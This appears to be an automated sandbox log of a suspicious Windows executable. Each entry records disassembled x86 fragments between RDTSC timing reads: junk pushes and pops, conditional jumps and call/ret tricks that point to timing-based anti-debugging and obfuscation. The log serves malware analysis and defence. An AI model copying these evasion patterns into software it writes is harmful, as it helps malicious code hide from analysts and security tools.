Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 113897A second address: 11389B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7650B5D3DAh 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop edx 0x00000013 push edx 0x00000014 jl 00007F7650B5D3D6h 0x0000001a pop edx 0x0000001b popad 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jns 00007F7650B5D3D6h 0x00000029 jmp 00007F7650B5D3DFh 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 115860F second address: 1158637 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E943h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7650B5E93Dh 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1158A3C second address: 1158A42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1158A42 second address: 1158A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7650B5E949h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1158BD3 second address: 1158BE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pushad 0x00000007 jng 00007F7650B5D3DAh 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1158D22 second address: 1158D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1158D26 second address: 1158D36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jc 00007F7650B5D3D6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1158D36 second address: 1158D59 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jne 00007F7650B5E936h 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f jmp 00007F7650B5E941h 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11592F2 second address: 1159310 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnl 00007F7650B5D3D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7650B5D3E0h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1159310 second address: 1159325 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E93Bh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1159325 second address: 1159340 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1159340 second address: 1159348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1159348 second address: 1159351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1159351 second address: 1159356 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 114EF5E second address: 114EF62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 115A11D second address: 115A125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 115A125 second address: 115A12D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 115A28B second address: 115A2AE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F7650B5E943h 0x0000000a pop edi 0x0000000b ja 00007F7650B5E93Eh 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1160C40 second address: 1160C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F7650B5D3D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1160C4F second address: 1160C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1161430 second address: 116143E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7650B5D3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 116275B second address: 116278F instructions: 0x00000000 rdtsc 0x00000002 je 00007F7650B5E936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c jnc 00007F7650B5E94Bh 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jl 00007F7650B5E936h 0x0000001f rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 116278F second address: 11627BA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7650B5D3E1h 0x0000000c je 00007F7650B5D3D6h 0x00000012 popad 0x00000013 popad 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 jc 00007F7650B5D3DCh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11627BA second address: 11627D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7650B5E938h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11627D1 second address: 11627DB instructions: 0x00000000 rdtsc 0x00000002 js 00007F7650B5D3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11671D7 second address: 11671DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11671DD second address: 11671E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 112A1D6 second address: 112A1DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1166675 second address: 1166679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1166679 second address: 116667D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 116667D second address: 11666D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7650B5D3E6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jns 00007F7650B5D3ECh 0x00000011 jp 00007F7650B5D3EFh 0x00000017 push edx 0x00000018 push edi 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1166EBE second address: 1166ED5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7650B5E93Dh 0x00000009 jnl 00007F7650B5E936h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1166ED5 second address: 1166EF7 instructions: 0x00000000 rdtsc 0x00000002 js 00007F7650B5D3D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007F7650B5D3DCh 0x00000012 jo 00007F7650B5D3D6h 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f pop eax 0x00000020 push edi 0x00000021 pop edi 0x00000022 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1166EF7 second address: 1166EFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1166EFF second address: 1166F07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1167073 second address: 116708C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E943h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1121CD1 second address: 1121CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 116A6E3 second address: 116A6E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 116AE19 second address: 116AE28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7650B5D3DBh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 116AE9C second address: 116AEA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 116B111 second address: 116B115 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 116B115 second address: 116B11B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 116B11B second address: 116B120 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 116B120 second address: 116B12C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 116B28C second address: 116B293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 116B759 second address: 116B79B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F7650B5E938h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D2819h], ecx 0x0000002d push 00000000h 0x0000002f pushad 0x00000030 clc 0x00000031 push ebx 0x00000032 pop ecx 0x00000033 popad 0x00000034 push eax 0x00000035 pushad 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 116C175 second address: 116C185 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7650B5D3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 116C185 second address: 116C18A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 116C18A second address: 116C190 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 116C190 second address: 116C1E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 stc 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F7650B5E938h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push eax 0x00000029 pushad 0x0000002a jmp 00007F7650B5E949h 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 116D244 second address: 116D2B2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7650B5D3D8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov di, si 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F7650B5D3D8h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e mov edi, dword ptr [ebp+122D352Ah] 0x00000034 xor dword ptr [ebp+124607CBh], eax 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ebp 0x0000003f call 00007F7650B5D3D8h 0x00000044 pop ebp 0x00000045 mov dword ptr [esp+04h], ebp 0x00000049 add dword ptr [esp+04h], 00000014h 0x00000051 inc ebp 0x00000052 push ebp 0x00000053 ret 0x00000054 pop ebp 0x00000055 ret 0x00000056 mov di, 85DBh 0x0000005a xchg eax, ebx 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e jno 00007F7650B5D3D6h 0x00000064 pop eax 0x00000065 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 116FB28 second address: 116FB48 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7650B5E942h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1170D16 second address: 1170D94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp], eax 0x00000008 jmp 00007F7650B5D3E7h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F7650B5D3D8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D589Bh], ecx 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007F7650B5D3D8h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 0000001Ah 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b mov si, bx 0x0000004e push eax 0x0000004f jp 00007F7650B5D3E8h 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1170D94 second address: 1170D98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11717CC second address: 11717DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7650B5D3D6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11717DA second address: 117180D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7650B5E93Bh 0x00000009 popad 0x0000000a popad 0x0000000b nop 0x0000000c jmp 00007F7650B5E93Dh 0x00000011 push 00000000h 0x00000013 sub dword ptr [ebp+124607CBh], edi 0x00000019 push 00000000h 0x0000001b movzx edi, cx 0x0000001e xchg eax, ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 push esi 0x00000022 pushad 0x00000023 popad 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1176904 second address: 1176957 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F7650B5D3E9h 0x0000000e jmp 00007F7650B5D3DAh 0x00000013 pop eax 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F7650B5D3DFh 0x0000001f jmp 00007F7650B5D3E0h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1178A38 second address: 1178A42 instructions: 0x00000000 rdtsc 0x00000002 js 00007F7650B5E936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 117B9EA second address: 117B9F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 117C906 second address: 117C94E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E93Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F7650B5E938h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 push 00000000h 0x00000026 mov dword ptr [ebp+122D1FE6h], edx 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D1F76h], esi 0x00000034 mov di, si 0x00000037 xchg eax, esi 0x00000038 push eax 0x00000039 push edx 0x0000003a push esi 0x0000003b pushad 0x0000003c popad 0x0000003d pop esi 0x0000003e rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 117C94E second address: 117C954 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 117D935 second address: 117D939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 117E89D second address: 117E8A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 117E8A1 second address: 117E924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a xor edi, dword ptr [ebp+122D37DEh] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F7650B5E938h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push eax 0x00000031 call 00007F7650B5E938h 0x00000036 pop eax 0x00000037 mov dword ptr [esp+04h], eax 0x0000003b add dword ptr [esp+04h], 0000001Ah 0x00000043 inc eax 0x00000044 push eax 0x00000045 ret 0x00000046 pop eax 0x00000047 ret 0x00000048 push ecx 0x00000049 or edi, dword ptr [ebp+122D36EEh] 0x0000004f pop edi 0x00000050 cld 0x00000051 movsx ebx, ax 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 jmp 00007F7650B5E949h 0x0000005d jnc 00007F7650B5E936h 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 117F91B second address: 117F9BC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jp 00007F7650B5D3ECh 0x0000000e nop 0x0000000f stc 0x00000010 push ebx 0x00000011 mov dword ptr [ebp+122D22FAh], ebx 0x00000017 pop edi 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007F7650B5D3D8h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 mov edi, dword ptr [ebp+122D3716h] 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push edx 0x0000003f call 00007F7650B5D3D8h 0x00000044 pop edx 0x00000045 mov dword ptr [esp+04h], edx 0x00000049 add dword ptr [esp+04h], 00000015h 0x00000051 inc edx 0x00000052 push edx 0x00000053 ret 0x00000054 pop edx 0x00000055 ret 0x00000056 mov di, si 0x00000059 xchg eax, esi 0x0000005a jmp 00007F7650B5D3E2h 0x0000005f push eax 0x00000060 js 00007F7650B5D3EDh 0x00000066 pushad 0x00000067 jmp 00007F7650B5D3DFh 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11808CA second address: 11808D4 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7650B5E936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1181A25 second address: 1181A3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7650B5D3E5h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11850A0 second address: 11850BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F7650B5E943h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1125222 second address: 1125243 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F7650B5D3E1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f jbe 00007F7650B5D3D6h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1125243 second address: 1125273 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7650B5E936h 0x00000008 jnp 00007F7650B5E936h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jbe 00007F7650B5E954h 0x00000016 jmp 00007F7650B5E948h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
